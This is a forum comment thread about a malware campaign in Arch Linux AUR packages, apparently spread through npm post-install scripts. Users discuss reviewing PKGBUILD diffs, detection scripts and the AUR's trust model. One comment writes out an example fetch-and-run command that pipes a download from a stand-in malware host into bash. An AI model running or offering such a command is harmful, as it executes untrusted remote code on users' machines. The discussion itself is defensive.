top 50 comments

sorted by: hot top controversial new old
[–] 51 points 1 month ago (1 child)

God, even the Arch malware uses npm as a vector. And thus, my hatred of npm deepens even further

  • source
  • hideshow 2 child comments
  • [–] 10 points 1 month ago (1 child)

    Tbf, it is run in package post install section so it could be anything even the typical "curl malware.om | bash". There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM

  • source
  • parent
  • hideshow 2 child comments
  • [–] 27 points 1 month ago (1 child)

    Ah yes, review the PKGBUILD for every AUR update. Luckily I do this while I'm rereading the ToS every time those get changed for all my software as well.

    When I finish that I intend to read the changelog in git for each of the commits since the last update.

  • source
  • hideshow 2 child comments
  • [–] 27 points 1 month ago (5 children)

    What can be done to prevent this from happening to the AUR?

  • source
  • hideshow 9 child comments
  • [–] 49 points 1 month ago (2 children)

    The AUR is kind of a trap. It can be useful but it has the warnings it has for a reason. Maintainers are not vetted so you depend on them both to be benevolent and competent and neither are reliable.

    No one should really use it without taking the time to understand pkgbuild but you have people recommending AUR helpers like yay and tying AUR updates to regular system updates which is a terrible idea

  • source
  • parent
  • hideshow 4 child comments
  • [–] 7 points 1 month ago

    paru always shows you the diff of the PKGBUILD on upgrade, so no need to worry about adding it to an alias that does both.

    In fact, just running paru is the same as running

    pacman -Syu
    paru -Sau
    

    At the end I review the PKGBUILDs and make sure everything looks reasonable. Usually it's just new source hashes, but not every time.

  • source
  • parent
  • [–] 2 points 1 month ago (1 child)

    What do you mean by "tying AUR updates to system updates" ?

  • source
  • parent
  • hideshow 2 child comments
  • [–] 8 points 1 month ago (1 child)

    As in updating the AUR when you update your system packages, which come from known sources.

  • source
  • parent
  • hideshow 2 child comments
  • [–] 8 points 1 month ago* (3 children)

    And just to be very explicit why this is an issue: each time the package is upgraded through an automated update, the PKGBUILD may change (e.g. to adapt to different dependencies, file structure, etc introduced with new app version).

    That also means an AUR maintainer can smuggle in malware with any of those updates, even if you checked the original PKGBUiLD when you installed. And, anyone can request taking over maintenance for unmaintained packages, so it can even happen if the original maintainer was benevolent.

    Always check PKGBUILD files on upgrade, even if just a glance. If I remember correctly yay had a function to always show you PKGBUILD diffs before updates, not sure if that was automatically enabled.

  • source
  • parent
  • hideshow 6 child comments
  • [–] 9 points 1 month ago

    Paru shows you the diffs by default.

    I just run paru when I do system upgrades. Very convenient to have one command doing everything in a somewhat safe way.

    Of course, inspecting the PKGBUILDs still doesn't protect us from having the actual software repositories compromised. Just because only the source hash changed doesn't mean the software doesn't have malware now.

    That's where I draw the line regarding trust. I don't feel like going into to each release of each AUR package I have installed to check code to see if malware was injected. 😅

  • source
  • parent
  • [–] 2 points 1 month ago

    Yeah, it's never sat very well with me. I've gone through cycles where I'll use a good bit of AUR, to none at all. I had been using a handful of things, but realized that almost all of it was Python stuff that I could more safely install with pip or uv, so I've migrated all of that. The one thing left is Manuskript, and it hardly gets updates anyway.

  • source
  • parent
  • [–] 9 points 1 month ago (1 child)

    in theory? getting rid of paru and friends, manually reviewing the pkgbuild and the source of whatever it is installing

    realistically? nothing. the AUR is a glorified repository of build scripts anyone can upload. the script or the package itself can ship malware

    the AUR is mostly the same as downloading and running random exes on windows. you should avoid it, make it as manual as possible (forcing you to double check what's happening) and be able to review the installer/package or trust someone who can vouch for its safety

  • source
  • parent
  • hideshow 2 child comments
  • [–] 3 points 1 month ago* (3 children)

    paru shows you the PKGBUILD diffs on upgrade, so you can review then and deny upgrades.

    But realistically I am not going to go into the code itself on my installed packages to check for malware or other types of attacks. That's too time consuming for my risk level, and requires more knowledge than can be expected, to be honest.

    Edit: but maybe you're talking about when first installing a package? Come to think of it, I'm not sure it shows the PKGBUILD at that point. 🤔

  • source
  • parent
  • hideshow 4 child comments
  • load more comments (2 replies)
  • [–] 8 points 1 month ago

    The AUR is unsafe by design. It's not intended to be something you just install from willy-nilly. It's intended to be a helpful way for arch users who know what they're doing to exchange a convenient way to install arbitrary packages. But you should always be just as wary of it as copy/pasting shell code from a random person on the internet.

  • source
  • parent
  • load more comments (1 reply)
    [–] 23 points 1 month ago (1 child)

    Trying to escape surveillance capitalism while installing aur packages willy-nilly.

  • source
  • hideshow 2 child comments
  • [–] 15 points 1 month ago (3 children)

    Are you one of the malicious actors? Thats some shit I'd expect to hear from the people doing this, trying to justify the attack by blaming the users for "capitalism".

  • source
  • parent
  • hideshow 5 child comments
  • [–] 10 points 1 month ago (1 child)

    I am quite confused by your assumptions. I am just making a joke about people trying to avoid surveillance capitalism tools on one side and gleefully installing aur packages from random people on the other side, potentially making their surveillance exposure worse. I'm part of them some time because it's too hard to verify everything everytime.

  • source
  • parent
  • hideshow 1 child comment
  • load more comments (1 reply)
  • [–] 5 points 1 month ago

    i can empathize with those infected but it's important to note that the source of this issue is still installing random stuff from random people. the aur is not the same as arch repos, and users wanting to opt in need to take more precautions than usual

  • source
  • parent
  • load more comments (1 reply)
  • [–] 17 points 1 month ago* (last edited 1 month ago) (2 children)

    Users can check if they're already compromised with pacman -Q | grep alvr I think maybe? EDIT: No, sorry, alvr was just one of countless affected packages. Also, several is an understatement since a huge number of packages are affected.

    Post with more information here: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/

  • source
  • hideshow 4 child comments
  • [–] 5 points 1 month ago (4 children)

    alvr as in the vr streaming program for standalone headsets? that's kind of a niche among niches. Linux VR users with standalone vr headsets that use that specific method.

  • source
  • parent
  • hideshow 7 child comments
  • [–] 5 points 1 month ago

    I panicked a bit when I saw the news earlier today as one of those niche guys. Then remembered I had removed it for WiVRn a few weeks ago and don't have anything else off the AUR. Double niche win lol

  • source
  • parent
  • load more comments (1 reply)
  • [–] 14 points 1 month ago (3 children)

    Hilarious that it's JavaScript again, truely npm, pypi and cargo are obvious targets. Also, guys, minimise your usage of the AUR! I don't use any AUR packages.

    Core > Extra > flathub >>>>>>>>>>>>> AUR

    Not that core/extra/flathub can't be pwned but it's harder then the AUR.

  • source
  • hideshow 4 child comments
  • [–] 2 points 1 month ago (1 child)

    I'm interested why flathub > AUR? I try to minimize AUR usage but always assumed it's better than flathub?

  • source
  • parent
  • hideshow 2 child comments
  • [–] 7 points 1 month ago

    Not the one you asked, but it's a case of priorities:

    • If you want it to just work, then the AUR is probably the better pick. Don't get me wrong, through; most flatpaks should (mostly) work like how you'd expect them to behave natively.
    • But, (Op)Sec-wise, the verified flatpaks win. No contest. Simply, because there's no third party involved in the process. (And I haven't even gone over flatpaks' superior sandboxing.)
  • source
  • parent
  • load more comments (2 replies)
    [–] 12 points 1 month ago* (2 children)

    Here’s a incomplete list:

    https://gr.ht/aur_pkg_list.txt

    I know some on Lemmy here use the RuneScape launcher.

  • source
  • hideshow 4 child comments
  • [–] 5 points 1 month ago (1 child)

    For an automated script to help you check, you can use https://github.com/lenucksi/aur-malware-check to see if you're infected.

  • source
  • parent
  • hideshow 2 child comments
  • [–] 3 points 1 month ago* (1 child)

    Very useful, thanks.

    Came up clear, fortunately.

    Out of curiosity, did Arch send any notifications through pacman or anything? The first I heard of this was on Lemmy.

  • source
  • parent
  • hideshow 2 child comments
  • [–] 4 points 1 month ago

    This reminds me to remove the Fluxer AUR package I have

  • source
  • [–] 3 points 1 month ago (1 child)

    yikes, I'm glad I decided to switch to debian stable recently, not that it's a foolproof system either

  • source
  • hideshow 2 child comments
  • [–] 2 points 1 month ago

    Why is the atomic-lockfile thing not removed from npm?

  • source
  • load more comments
    view more: next ›